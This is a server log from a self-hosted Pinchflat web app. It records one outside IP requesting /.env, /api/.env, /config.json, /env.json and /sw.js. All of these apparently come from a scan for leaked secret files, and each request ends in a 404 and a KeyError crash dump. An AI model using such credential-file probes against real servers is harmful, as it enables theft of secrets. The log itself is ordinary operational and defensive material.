#PID<0.21392.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21393.0>, params: %{}, path_info: ["sw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/sw.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMHpNtI8yUQACL6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21392.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21392.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21393.0>, params: %{}, path_info: ["sw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/sw.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMHpNtI8yUQACL6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:14.404 [info] GET /.env 15:40:14.404 [debug] QUERY OK source="settings" db=0.2ms idle=196.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.405 [debug] QUERY OK source="settings" db=0.0ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.405 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.405 [error] #PID<0.21395.0> running PinchflatWeb.Endpoint (connection #PID<0.21394.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21394.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21395.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMcutvrrNwUACL6h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21394.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21394.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21395.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMcutvrrNwUACL6h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status (truncated) 15:40:14.425 [info] GET /config.json 15:40:14.425 [debug] QUERY OK source="settings" db=0.1ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.425 [debug] QUERY OK source="settings" db=0.1ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.425 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.425 [error] #PID<0.21397.0> running PinchflatWeb.Endpoint (connection #PID<0.21396.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21396.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21397.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMhqahC9HwQACL7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21396.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21396.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21397.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMhqahC9HwQACL7B"} ], scheme: :http, script_name: [], (truncated) 15:40:14.516 [info] GET /api/.env 15:40:14.517 [debug] QUERY OK source="settings" db=0.2ms idle=200.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.517 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.517 [error] #PID<0.21399.0> running PinchflatWeb.Endpoint (connection #PID<0.21398.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21398.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51874}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21399.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfM3ii3liobYACL7h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21398.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51874}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21398.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51874}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21399.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfM3ii3liobYACL7h"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:14.529 [info] GET /env.json 15:40:14.529 [debug] QUERY OK source="settings" db=0.1ms idle=124.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.529 [debug] QUERY OK source="settings" db=0.0ms idle=103.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.529 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.529 [error] #PID<0.21401.0> running PinchflatWeb.Endpoint (connection #PID<0.21400.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21400.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51890}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => 